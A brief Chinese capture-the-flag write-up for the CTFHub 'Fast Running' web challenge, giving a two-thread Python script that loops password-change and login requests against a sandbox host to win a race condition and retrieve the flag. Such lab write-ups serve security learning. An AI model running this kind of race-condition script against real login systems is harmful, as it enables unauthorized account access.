CTFHub_2017-赛客夏令营-Web-Fast Running（条件竞争、多线程）

进入场景，显示如下

本题考察条件竞争，需要你改完密码后登录要比系统自动更改密码快

python脚本如下，需要同时开2个线程

# __author__ = Serena
import threading
import requests

def change_passwd():
    while True:
        ur11 = 'http://challenge-c167c601e92f8c09.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
        resp1 = requests.get(ur11)

def login_check():
    while True:
        url2 = 'http://challenge-c167c601e92f8c09.sandbox.ctfhub.com:10800/login_check.php?passwd=123456'
        resp2 = requests.get(url2)
        print(resp2.text)

if __name__ == '__main__':
    t1 = threading.Thread(target=change_passwd)
    t2 = threading.Thread(target=login_check)
    t1.start()
    t2.start()

成功拿到flag